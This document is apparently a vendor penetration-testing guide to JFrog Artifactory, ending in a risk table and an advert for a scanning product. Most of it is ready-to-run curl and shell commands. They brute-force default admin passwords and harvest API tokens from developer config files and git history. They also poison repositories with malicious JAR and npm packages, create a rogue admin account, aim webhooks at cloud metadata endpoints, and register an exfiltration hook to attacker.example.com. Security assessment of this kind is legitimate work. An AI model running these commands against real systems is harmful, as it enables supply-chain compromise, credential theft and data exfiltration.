JFrog Artifactory is the dominant universal artifact repository manager, used by enterprises to store and distribute Maven JARs, npm packages, Docker images, PyPI wheels, Gradle dependencies, Helm charts, and more. Its central position in the build pipeline makes it a high-value target: a compromised Artifactory instance can poison the entire software supply chain. Key attack surfaces include the default admin/password credential that many self-hosted installations never change; API keys and access tokens embedded in developer workstation files such as .npmrc, .pip/pip.conf, and gradle.properties; anonymous repository access that allows unauthenticated package enumeration or upload; artifact poisoning through repository write permissions; Docker registry exposure on port 8082; secrets stored in artifact properties; and webhook endpoints that can be abused for SSRF or exfiltration. This guide covers systematic Artifactory security assessment.
JFrog Artifactory ships with a default administrator account (admin) whose password is set to password on fresh installations of both the OSS and Pro editions. In enterprise environments where Artifactory is deployed via automation (Helm charts, Ansible, Terraform), the default password is frequently left in place or replaced with a weak site-wide password stored in a configuration file. The Artifactory REST API uses HTTP Basic authentication and API key header authentication interchangeably, making credential testing straightforward.
# JFrog Artifactory β default credential testing and REST API authentication
ARTIFACTORY_URL="https://artifactory.example.com"
# Test default credentials: admin / password
curl -s -u admin:password \
"${ARTIFACTORY_URL}/artifactory/api/system/ping" 2>/dev/null
# Returns: OK if credentials are valid
# Get system information β confirms admin access level
curl -s -u admin:password \
"${ARTIFACTORY_URL}/artifactory/api/system/info" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Version: {d.get(\"version\")}')
print(f'License: {d.get(\"licenseInfo\",{}).get(\"type\")}')
print(f'Addons: {d.get(\"addOns\",[])}')
" 2>/dev/null
# Try common Artifactory passwords
for PASS in "password" "Password1" "admin" "artifactory" "changeme" "secret" "jfrog" "admin123"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-u "admin:${PASS}" \
"${ARTIFACTORY_URL}/artifactory/api/system/ping" 2>/dev/null)
[ "$STATUS" = "200" ] && echo "[FOUND] admin/${PASS}" || echo "[ --- ] admin/${PASS}: ${STATUS}"
done
# Generate an API key using valid credentials
curl -s -X POST -u admin:password \
"${ARTIFACTORY_URL}/artifactory/api/security/apiKey" 2>/dev/null
# Returns: {"apiKey":"AKCp..."}
# Use API key for subsequent requests (X-JFrog-Art-Api header)
API_KEY="AKCp8aabbccdd..."
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/repositories" 2>/dev/null
Developers configure their build tools to pull dependencies from Artifactory by adding repository credentials to local configuration files. These files β ~/.npmrc, ~/.pip/pip.conf, ~/.gradle/gradle.properties, ~/.m2/settings.xml β routinely end up committed to source control, included in Docker images, or left on shared CI/CD build agents. A single leaked API key typically grants access to all repositories the developer had permission to reach, and in many organizations that means every internal artifact ever built.
# Search for Artifactory credentials in common build tool configuration files
# npm β ~/.npmrc or project-level .npmrc
# Format: //artifactory.example.com/artifactory/api/npm/npm-local/:_authToken=...
grep -rE "artifactory.*_authToken|_authToken.*artifactory" \
~/.npmrc .npmrc 2>/dev/null
# Extract and test npm registry tokens from .npmrc
NPM_TOKEN=$(grep "_authToken" ~/.npmrc 2>/dev/null | head -1 | cut -d= -f2)
if [ -n "$NPM_TOKEN" ]; then
curl -s -H "Authorization: Bearer ${NPM_TOKEN}" \
"${ARTIFACTORY_URL}/artifactory/api/npm/npm-local/-/whoami" 2>/dev/null
fi
# Gradle β ~/.gradle/gradle.properties
# Format: artifactory_user=admin artifactory_password=... artifactoryApiKey=AKCp...
grep -E "artifactory_(user|password|key)|artifactoryApiKey|ARTIFACTORY" \
~/.gradle/gradle.properties 2>/dev/null
# Maven β ~/.m2/settings.xml
# Contains and blocks for each server
grep -A2 -B2 "artifactory\|jfrog" ~/.m2/settings.xml 2>/dev/null | \
grep -E "<(username|password)>"
# pip β ~/.pip/pip.conf or pip.ini
# Format: index-url = https://admin:PASSWORD@artifactory.example.com/artifactory/api/pypi/pypi-local/simple
grep -rE "artifactory.*pypi|pypi.*artifactory" \
~/.pip/pip.conf ~/.config/pip/pip.conf 2>/dev/null
# Search Git history for accidentally committed credentials
git log --all --oneline 2>/dev/null | head -20
git grep -i "artifactory\|_authToken\|AKCp" $(git rev-list --all) 2>/dev/null | \
grep -E "password|apiKey|_auth|token" | head -20
# Scan Docker image layers for Artifactory credentials
docker history --no-trunc artifactory-builder:latest 2>/dev/null | \
grep -iE "artifactory|AKCp|_authToken"
docker run --rm artifactory-builder:latest \
find / -name ".npmrc" -o -name "gradle.properties" -o -name "pip.conf" 2>/dev/null | \
xargs grep -l "artifactory" 2>/dev/null
Artifactory supports an anonymous access mode that allows unauthenticated users to read from (and sometimes write to) repositories. This feature is commonly enabled on internal Artifactory instances to simplify developer onboarding β developers can pull artifacts without configuring credentials β but the same access is available to anyone who can reach the network. In organizations that later expose Artifactory to a broader network segment or the internet, anonymous read access frequently goes unnoticed because it was intentionally configured and developers still authenticate for write operations.
# Test Artifactory anonymous (unauthenticated) access
ARTIFACTORY_URL="https://artifactory.example.com"
# Check if anonymous access is enabled β no credentials provided
curl -s "${ARTIFACTORY_URL}/artifactory/api/repositories" 2>/dev/null | python3 -c "
import json,sys
try:
repos=json.load(sys.stdin)
if isinstance(repos, list):
print(f'[ANONYMOUS ACCESS] {len(repos)} repositories visible without auth:')
for r in repos:
print(f' [{r.get(\"type\")}] {r.get(\"key\")} β {r.get(\"description\",\"\")}')
else:
print(f'Access denied or unexpected response: {repos}')
except:
print('No JSON returned β likely auth required')
" 2>/dev/null
# Test anonymous access to specific repository types
# Local repositories (org's own artifacts)
curl -s "${ARTIFACTORY_URL}/artifactory/api/storage/libs-release-local/" 2>/dev/null | head -30
# Remote repository caches (proxied public registries)
curl -s "${ARTIFACTORY_URL}/artifactory/api/storage/npmjs-cache/" 2>/dev/null | head -30
# Check anonymous access to the UI API (returns LDAP/SSO config if misconfigured)
curl -s "${ARTIFACTORY_URL}/artifactory/api/system/configuration" 2>/dev/null | \
grep -E "ldap|password|secret|bind" | head -20
# Enumerate artifact paths in an anonymous-accessible repository
# Artifactory File List API
curl -s "${ARTIFACTORY_URL}/artifactory/api/storage/libs-release-local/?list&deep=1&listFolders=0" \
2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
files=d.get('files',[])
print(f'Files in repository: {len(files)}')
for f in files[:20]:
print(f' {f.get(\"uri\")} size={f.get(\"size\")}')
except Exception as e:
print(f'Error: {e}')
" 2>/dev/null
# AQL (Artifactory Query Language) search β works anonymously if enabled
curl -s -X POST "${ARTIFACTORY_URL}/artifactory/api/search/aql" \
-H "Content-Type: text/plain" \
-d 'items.find({"repo":{"$match":"*"},"name":{"$match":"*.jar"}}).include("name","repo","path","size").sort({"$desc":["size"]}).limit(20)' \
2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for item in d.get('results',[]):
print(f'{item[\"repo\"]}/{item[\"path\"]}/{item[\"name\"]} ({item[\"size\"]} bytes)')
except Exception as e:
print(f'Error or auth required: {e}')
" 2>/dev/null
If an authenticated user (or anonymous user on a misconfigured instance) has write access to a repository, they can upload a malicious artifact under a legitimate package name and version. Artifact poisoning is particularly dangerous in virtual repositories, where Artifactory aggregates multiple local and remote repositories and serves them under a single URL. An attacker with write access to any local repository included in a virtual repository can shadow legitimate packages. A poisoned package that installs a reverse shell or credential harvester will execute on every developer workstation and CI/CD build agent that pulls it.
# Artifact poisoning β upload a malicious package to an Artifactory repository
ARTIFACTORY_URL="https://artifactory.example.com"
API_KEY="AKCp8aabbccdd..."
# Step 1: Identify writable repositories
# Check deploy permissions on local repos
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/repositories?type=local" 2>/dev/null | python3 -c "
import json,sys
repos=json.load(sys.stdin)
print(f'Local repositories: {len(repos)}')
for r in repos:
print(f' {r.get(\"key\")} [{r.get(\"packageType\")}]')
" 2>/dev/null
# Step 2: Test write access by uploading a test file (benign probe)
REPO="libs-release-local"
curl -s -w "\nHTTP Status: %{http_code}\n" \
-X PUT \
-H "X-JFrog-Art-Api: ${API_KEY}" \
-T /dev/null \
"${ARTIFACTORY_URL}/artifactory/${REPO}/com/example/probe/1.0/probe-1.0.txt" 2>/dev/null
# HTTP 201 = write access confirmed
# Step 3: Upload a malicious Maven JAR artifact (artifact poisoning demo)
# In a real attack this would be a JAR with a malicious initializer
# Target: shadow an existing artifact with the same GAV coordinates
TARGET_GROUP="com/example/core"
TARGET_ARTIFACT="core-utils"
TARGET_VERSION="2.3.1" # Must match a version the build system requests
curl -s -w "\nHTTP Status: %{http_code}\n" \
-X PUT \
-H "X-JFrog-Art-Api: ${API_KEY}" \
-H "X-Checksum-Md5: d41d8cd98f00b204e9800998ecf8427e" \
-T ./malicious-core-utils-2.3.1.jar \
"${ARTIFACTORY_URL}/artifactory/${REPO}/${TARGET_GROUP}/${TARGET_ARTIFACT}/${TARGET_VERSION}/${TARGET_ARTIFACT}-${TARGET_VERSION}.jar" \
2>/dev/null
# Step 4: npm package poisoning β upload a scoped package to shadow a private registry
# Create a malicious package.json and index.js, then pack and upload
cat > /tmp/package.json << 'EOF'
{"name":"@company/internal-utils","version":"3.0.0","main":"index.js"}
EOF
# Publish to npm-local repository (Artifactory npm API)
curl -s -X PUT \
-H "X-JFrog-Art-Api: ${API_KEY}" \
-H "Content-Type: application/octet-stream" \
-T ./malicious-internal-utils-3.0.0.tgz \
"${ARTIFACTORY_URL}/artifactory/npm-local/@company/internal-utils/-/@company/internal-utils-3.0.0.tgz" \
2>/dev/null
# Step 5: Dependency confusion attack β upload a package to the internal registry
# whose name matches a public package but with a higher version number
# Any build tool configured to check internal repos before public will pull this version
Artifactory's Security REST API exposes user management endpoints that return the full list of user accounts, their group memberships, permission targets, and API keys. An admin-level token grants the ability to create new users, add users to the admin group, reset API keys, and modify permission targets β effectively full control over the artifact supply chain. Even a non-admin user with manage permissions on a single repository can escalate by modifying repository permission targets to include their own account.
# Artifactory user enumeration and privilege escalation via API
ARTIFACTORY_URL="https://artifactory.example.com"
API_KEY="AKCp8aabbccdd..."
# Enumerate all users
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/security/users" 2>/dev/null | python3 -c "
import json,sys
users=json.load(sys.stdin)
print(f'Total users: {len(users)}')
for u in users:
print(f' {u.get(\"name\")} admin={u.get(\"admin\")} groups={u.get(\"groups\",[])}')
" 2>/dev/null
# Get detailed information for a specific user (reveals API keys and permissions)
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/security/users/admin" 2>/dev/null | python3 -c "
import json,sys
u=json.load(sys.stdin)
print(f'Email: {u.get(\"email\")}')
print(f'Admin: {u.get(\"admin\")}')
print(f'Groups: {u.get(\"groups\",[])}')
print(f'API Key: {u.get(\"apiKey\",\"not exposed\")}')
" 2>/dev/null
# List all groups and their membership
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/security/groups" 2>/dev/null | python3 -c "
import json,sys
groups=json.load(sys.stdin)
print(f'Groups: {groups}')
" 2>/dev/null
# Get permission targets β shows which users/groups can deploy to which repos
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/security/permissions" 2>/dev/null | python3 -c "
import json,sys
perms=json.load(sys.stdin)
print(f'Permission targets: {len(perms)}')
for p in perms:
print(f' {p.get(\"name\")}')
" 2>/dev/null
# Privilege escalation β add current user to the admin group via API
# (requires manage_security permission or admin token)
curl -s -X PUT \
-H "X-JFrog-Art-Api: ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{"name":"attacker","email":"attacker@evil.com","password":"Attacker123!","admin":true,"groups":["readers","deployers"]}' \
"${ARTIFACTORY_URL}/artifactory/api/security/users/attacker" 2>/dev/null
# Generate a new API key for the elevated user
curl -s -X POST \
-H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/security/apiKey" 2>/dev/null
# Use -u newuser:newpassword for the newly created admin account
Artifactory acts as a Docker registry, typically exposed on port 8082 (HTTP) or a subdomain such as docker.artifactory.example.com. Organizations use it to host private Docker images containing proprietary application code, internal tooling, and build environments. If the Artifactory Docker registry uses the same credentials as the main instance (which is always the case β Docker registry auth delegates to Artifactory's security model), default or leaked credentials grant full pull access to every private image. Docker images frequently contain embedded secrets: environment variables, hardcoded credentials, private keys baked into image layers, and sensitive configuration files.
# Artifactory Docker registry security testing
ARTIFACTORY_URL="https://artifactory.example.com"
DOCKER_REGISTRY="artifactory.example.com:8082"
# Login to the Artifactory Docker registry using default credentials
docker login ${DOCKER_REGISTRY} \
--username admin \
--password password 2>/dev/null
# Login Succeeded = default credentials valid on Docker registry
# List available Docker repositories (requires catalog access)
curl -s -u admin:password \
"https://${DOCKER_REGISTRY}/v2/_catalog" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
repos=d.get('repositories',[])
print(f'Docker repositories: {len(repos)}')
for r in repos:
print(f' {r}')
" 2>/dev/null
# List tags for a specific image
IMAGE="company/backend-api"
curl -s -u admin:password \
"https://${DOCKER_REGISTRY}/v2/${IMAGE}/tags/list" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Tags: {d.get(\"tags\",[])}')
" 2>/dev/null
# Pull an image and inspect it for embedded secrets
docker pull ${DOCKER_REGISTRY}/company/backend-api:latest 2>/dev/null
# Inspect image environment variables for hardcoded credentials
docker inspect ${DOCKER_REGISTRY}/company/backend-api:latest 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for item in d:
for env in item.get('Config',{}).get('Env',[]):
if any(k in env.upper() for k in ['PASS','SECRET','KEY','TOKEN','DB_','AWS_','API_']):
print(env)
" 2>/dev/null
# Extract image filesystem layers to find secrets in files
docker save ${DOCKER_REGISTRY}/company/backend-api:latest | tar x -C /tmp/image-layers 2>/dev/null
find /tmp/image-layers -name "*.env" -o -name "application.properties" \
-o -name "settings.xml" -o -name ".npmrc" 2>/dev/null | xargs grep -l "password\|secret\|key" 2>/dev/null
# Alternatively, use Artifactory API to enumerate Docker repos
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/repositories?type=local&packageType=docker" 2>/dev/null
Artifactory allows storing arbitrary key-value properties on any artifact or folder β a feature used by build systems to attach metadata such as build numbers, branch names, commit SHAs, and deployment targets. Development teams sometimes abuse this capability to store configuration values and credentials alongside artifacts, reasoning that access to the artifact implies access to its deployment configuration. Properties are returned in API responses and AQL queries and are not subject to separate access controls beyond repository permissions.
# Search Artifactory artifact properties for stored secrets
ARTIFACTORY_URL="https://artifactory.example.com"
API_KEY="AKCp8aabbccdd..."
# Get all properties on a specific artifact
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/storage/libs-release-local/com/example/app/1.0/app-1.0.jar?properties" \
2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
props=d.get('properties',{})
print(f'Properties on artifact:')
for k,v in props.items():
print(f' {k} = {v}')
" 2>/dev/null
# AQL query β find all artifacts with property keys that suggest secrets
curl -s -X POST "${ARTIFACTORY_URL}/artifactory/api/search/aql" \
-H "X-JFrog-Art-Api: ${API_KEY}" \
-H "Content-Type: text/plain" \
-d 'items.find({
"repo":{"$match":"*"},
"@password":{"$match":"*"}
}).include("name","repo","path","@password","@secret","@db.password","@aws.key","@api.key")
.limit(50)' 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for item in d.get('results',[]):
print(f'{item[\"repo\"]}/{item[\"path\"]}/{item[\"name\"]}')
for k,v in item.items():
if k.startswith('@') and any(s in k.lower() for s in ['pass','secret','key','token']):
print(f' {k} = {v}')
except Exception as e:
print(f'Error: {e}')
" 2>/dev/null
# Broader AQL search β all properties containing credentials-like values across all repos
curl -s -X POST "${ARTIFACTORY_URL}/artifactory/api/search/aql" \
-H "X-JFrog-Art-Api: ${API_KEY}" \
-H "Content-Type: text/plain" \
-d 'items.find({"repo":{"$match":"*-local"}}).include("name","repo","path","@*").limit(100)' \
2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for item in d.get('results',[]):
suspicious=[(k,v) for k,v in item.items() if k.startswith('@') and any(s in k.lower() for s in ['pass','secret','key','token','credential','auth'])]
if suspicious:
print(f'{item.get(\"repo\")}/{item.get(\"path\")}/{item.get(\"name\")}')
for k,v in suspicious:
print(f' {k} = {v}')
except Exception as e:
print(f'Error: {e}')
" 2>/dev/null
Artifactory supports user plugin webhooks and system-level event notifications that send HTTP POST requests to configurable URLs when repository events occur (artifact deployed, deleted, moved, promoted). An attacker with admin access can register webhooks pointing to internal services unreachable from the internet, effectively turning Artifactory into an SSRF relay. In environments where Artifactory runs inside a corporate network with broad access to internal services, this enables probing internal APIs, cloud metadata endpoints, and services protected by network-level controls.
# Artifactory webhook abuse for SSRF and data exfiltration
ARTIFACTORY_URL="https://artifactory.example.com"
API_KEY="AKCp8aabbccdd..."
# List existing webhooks (Artifactory 7.x Subscriptions API)
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/v2/webhooks" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
hooks=d.get('webhooks',[])
print(f'Webhooks configured: {len(hooks)}')
for h in hooks:
print(f' [{h.get(\"id\")}] {h.get(\"key\")} -> {h.get(\"url\")} events={h.get(\"events\")}')
except:
print(sys.stdin.read())
" 2>/dev/null
# Register a malicious webhook pointing to an internal service (SSRF)
# Any artifact event will trigger a request to the target URL from Artifactory's network
curl -s -X POST \
-H "X-JFrog-Art-Api: ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{
"key": "internal-probe",
"description": "Monitoring webhook",
"enabled": true,
"event_filter": {
"domain": "artifact",
"events": ["deployed"]
},
"handlers": [{
"handler_type": "webhook",
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"secret": "ignored",
"use_secret_for_signing": false
}]
}' \
"${ARTIFACTORY_URL}/artifactory/api/v2/webhooks" 2>/dev/null
# Trigger the webhook by uploading an artifact
curl -s -X PUT \
-H "X-JFrog-Art-Api: ${API_KEY}" \
-T /dev/null \
"${ARTIFACTORY_URL}/artifactory/libs-release-local/probe/trigger.txt" 2>/dev/null
# Legacy Artifactory event notification (pre-7.x)
curl -s -H "X-JFrog-Art-Api: ${API_KEY}" \
"${ARTIFACTORY_URL}/artifactory/api/notifications/registered" 2>/dev/null
# Register a notification to an attacker-controlled server to receive artifact metadata
curl -s -X PUT \
-H "X-JFrog-Art-Api: ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{
"key": "exfil-hook",
"active": true,
"events": [{"name":"artifact.deployed"}],
"url": "https://attacker.example.com/collect"
}' \
"${ARTIFACTORY_URL}/artifactory/api/notifications/registered" 2>/dev/null
admin/password credential is well-known and actively targeted by automated scanners; the admin account has unrestricted access to all repositories, security configuration, user management, and system settings; rotate the admin password during initial setup and store it in a secrets manager; configure Artifactory's built-in password policy under Admin > Security > Password Policy to enforce minimum length, complexity, and expiry; consider disabling the default admin account and creating named administrator accounts for auditabilityGET /artifactory/api/repositories without credentials| Security Test | Method | Risk |
|---|---|---|
| Default admin/password credential exploitation | curl -u admin:password /api/system/ping β HTTP 200 confirms default credentials; full admin access to all repositories, users, security configuration, and artifact management | Critical |
| API key exposure in .npmrc / gradle.properties | Search developer workstations, CI environments, and Git history for X-JFrog-Art-Api values; test recovered keys against /api/repositories; keys persist until manually revoked | Critical |
| Anonymous repository access | GET /artifactory/api/repositories without credentials; if 200 with repo list, enumerate all accessible artifacts via File List API and AQL; may include source JARs, internal tools, credentials in artifact properties | High |
| Artifact poisoning via PUT upload | Test write access with a benign PUT to a local repository; shadow legitimate packages with malicious artifacts at the same GAV/name/version; every developer and CI build pulling the poisoned artifact executes attacker-controlled code | Critical |
| Docker registry access and image extraction | docker login artifactory:8082 with known credentials; docker pull and docker inspect for ENV secrets; docker save and layer extraction for files containing credentials and private keys | High |
| User enumeration and privilege escalation | GET /api/security/users β full user list with group memberships; PUT /api/security/users/{name} with admin:true to create admin account; GET /api/security/permissions for permission target enumeration | High |
| Secrets in artifact properties | AQL query for items with @password/@secret/@key property keys across all repositories; properties are visible in storage info responses without additional controls | MediumβHigh |
| Webhook SSRF to internal services | POST /api/v2/webhooks with internal URL target; trigger with artifact upload; Artifactory makes HTTP request from its network to attacker-specified URL including cloud metadata endpoints | High |
Ironimo tests JFrog Artifactory deployments for default credential exploitation against the REST API, anonymous repository access and artifact enumeration, API key exposure in build tool configuration files, artifact poisoning via unauthorized PUT uploads, Docker registry access and image secret extraction, user enumeration and privilege escalation via the Security API, secrets in artifact properties via AQL, and webhook SSRF to internal services and cloud metadata endpoints.
Start Scanning with Ironimo